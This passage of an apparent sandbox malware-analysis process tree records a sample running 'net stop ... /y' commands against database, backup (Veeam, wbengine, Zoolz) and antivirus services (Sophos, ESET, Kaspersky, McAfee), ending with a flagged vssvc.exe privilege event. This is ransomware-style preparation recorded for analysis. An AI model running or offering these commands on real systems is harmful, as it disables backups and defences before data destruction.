C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLTELEMETRY$ECWDB2 /y4⤵PID:472
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLWriter /y2⤵PID:1552
-
C:\Windows\SysWOW64\net.exenet stop SQLWriter /y3⤵PID:1748
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLWriter /y4⤵PID:1628
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamBackupSvc /y2⤵PID:1948
-
C:\Windows\SysWOW64\net.exenet stop VeeamBackupSvc /y3⤵PID:1728
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamBackupSvc /y4⤵PID:1152
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamBrokerSvc /y2⤵PID:1516
-
C:\Windows\SysWOW64\net.exenet stop VeeamBrokerSvc /y3⤵PID:1732
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamBrokerSvc /y4⤵PID:800
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamCatalogSvc /y2⤵PID:1920
-
C:\Windows\SysWOW64\net.exenet stop VeeamCatalogSvc /y3⤵PID:1716
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCatalogSvc /y4⤵PID:1532
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamCloudSvc /y2⤵PID:272
-
C:\Windows\SysWOW64\net.exenet stop VeeamCloudSvc /y3⤵PID:748
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCloudSvc /y4⤵PID:1660
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamDeploymentService /y2⤵PID:1676
-
C:\Windows\SysWOW64\net.exenet stop VeeamDeploymentService /y3⤵PID:1308
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y4⤵PID:988
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamDeploySvc /y2⤵PID:1696
-
C:\Windows\SysWOW64\net.exenet stop VeeamDeploySvc /y3⤵PID:796
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploySvc /y4⤵PID:276
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamEnterpriseManagerSvc /y2⤵PID:1644
-
C:\Windows\SysWOW64\net.exenet stop VeeamEnterpriseManagerSvc /y3⤵PID:1656
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y4⤵PID:1684
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamMountSvc /y2⤵PID:852
-
C:\Windows\SysWOW64\net.exenet stop VeeamMountSvc /y3⤵PID:1784
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamMountSvc /y4⤵PID:1044
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamNFSSvc /y2⤵PID:624
-
C:\Windows\SysWOW64\net.exenet stop VeeamNFSSvc /y3⤵PID:1284
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y4⤵PID:2036
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamRESTSvc /y2⤵PID:1124
-
C:\Windows\SysWOW64\net.exenet stop VeeamRESTSvc /y3⤵PID:2040
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamRESTSvc /y4⤵PID:1376
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamTransportSvc /y2⤵PID:1436
-
C:\Windows\SysWOW64\net.exenet stop VeeamTransportSvc /y3⤵PID:1936
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y4⤵PID:2028
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop W3Svc /y2⤵PID:2008
-
C:\Windows\SysWOW64\net.exenet stop W3Svc /y3⤵PID:1324
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop W3Svc /y4⤵PID:1384
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop wbengine /y2⤵PID:2044
-
C:\Windows\SysWOW64\net.exenet stop wbengine /y3⤵PID:1988
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wbengine /y4⤵PID:544
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop WRSVC /y2⤵PID:268
-
C:\Windows\SysWOW64\net.exenet stop WRSVC /y3⤵PID:1980
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WRSVC /y4⤵PID:1172
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$VEEAMSQL2008R2 /y2⤵PID:1984
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$VEEAMSQL2008R2 /y3⤵PID:1928
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y4⤵PID:1600
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$VEEAMSQL2008R2 /y2⤵PID:1864
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$VEEAMSQL2008R2 /y3⤵PID:1736
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y4⤵PID:1704
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamHvIntegrationSvc /y2⤵PID:1540
-
C:\Windows\SysWOW64\net.exenet stop VeeamHvIntegrationSvc /y3⤵PID:568
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y4⤵PID:1652
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop swi_update /y2⤵PID:1952
-
C:\Windows\SysWOW64\net.exenet stop swi_update /y3⤵PID:1780
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop swi_update /y4⤵PID:1648
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$CXDB /y2⤵PID:1584
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$CXDB /y3⤵PID:272
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$CXDB /y4⤵PID:1016
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$CITRIX_METAFRAME /y2⤵PID:1860
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$CITRIX_METAFRAME /y3⤵PID:548
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$CITRIX_METAFRAME /y4⤵PID:280
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop "SQL Backups" /y2⤵PID:984
-
C:\Windows\SysWOW64\net.exenet stop "SQL Backups" /y3⤵PID:1528
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQL Backups" /y4⤵PID:1876
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$PROD /y2⤵PID:1032
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$PROD /y3⤵PID:1812
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$PROD /y4⤵PID:1616
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop "Zoolz 2 Service" /y2⤵PID:1612
-
C:\Windows\SysWOW64\net.exenet stop "Zoolz 2 Service" /y3⤵PID:996
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Zoolz 2 Service" /y4⤵PID:1576
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLServerADHelper /y2⤵PID:1848
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper /y3⤵PID:1040
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper /y4⤵PID:1316
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$PROD /y2⤵PID:2004
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$PROD /y3⤵PID:1036
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$PROD /y4⤵PID:1992
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop msftesql$PROD /y2⤵PID:656
-
C:\Windows\SysWOW64\net.exenet stop msftesql$PROD /y3⤵PID:1204
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msftesql$PROD /y4⤵PID:1320
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop NetMsmqActivator /y2⤵PID:1944
-
C:\Windows\SysWOW64\net.exenet stop NetMsmqActivator /y3⤵PID:516
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NetMsmqActivator /y4⤵PID:472
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop EhttpSrv /y2⤵PID:1976
-
C:\Windows\SysWOW64\net.exenet stop EhttpSrv /y3⤵PID:1432
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EhttpSrv /y4⤵PID:1628
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ekrn /y2⤵PID:1744
-
C:\Windows\SysWOW64\net.exenet stop ekrn /y3⤵PID:688
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ekrn /y4⤵PID:1152
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ESHASRV /y2⤵PID:1800
-
C:\Windows\SysWOW64\net.exenet stop ESHASRV /y3⤵PID:1088
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ESHASRV /y4⤵PID:800
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$SOPHOS /y2⤵PID:360
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SOPHOS /y3⤵PID:1888
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SOPHOS /y4⤵PID:1532
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$SOPHOS /y2⤵PID:1740
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$SOPHOS /y3⤵PID:1916
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SOPHOS /y4⤵PID:1660
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop AVP /y2⤵PID:1640
-
C:\Windows\SysWOW64\net.exenet stop AVP /y3⤵PID:1752
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵PID:988
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop klnagent /y2⤵PID:1824
-
C:\Windows\SysWOW64\net.exenet stop klnagent /y3⤵PID:1700
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop klnagent /y4⤵PID:276
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$SQLEXPRESS /y2⤵PID:932
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SQLEXPRESS /y3⤵PID:788
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SQLEXPRESS /y4⤵PID:1684
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$SQLEXPRESS /y2⤵PID:1624
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$SQLEXPRESS /y3⤵PID:1764
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SQLEXPRESS /y4⤵PID:1044
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop wbengine /y2⤵PID:1604
-
C:\Windows\SysWOW64\net.exenet stop wbengine /y3⤵PID:1668
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wbengine /y4⤵PID:2036
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop mfefire /y2⤵PID:1052
-
C:\Windows\SysWOW64\net.exenet stop mfefire /y3⤵PID:1612
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfefire /y4⤵PID:624
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1268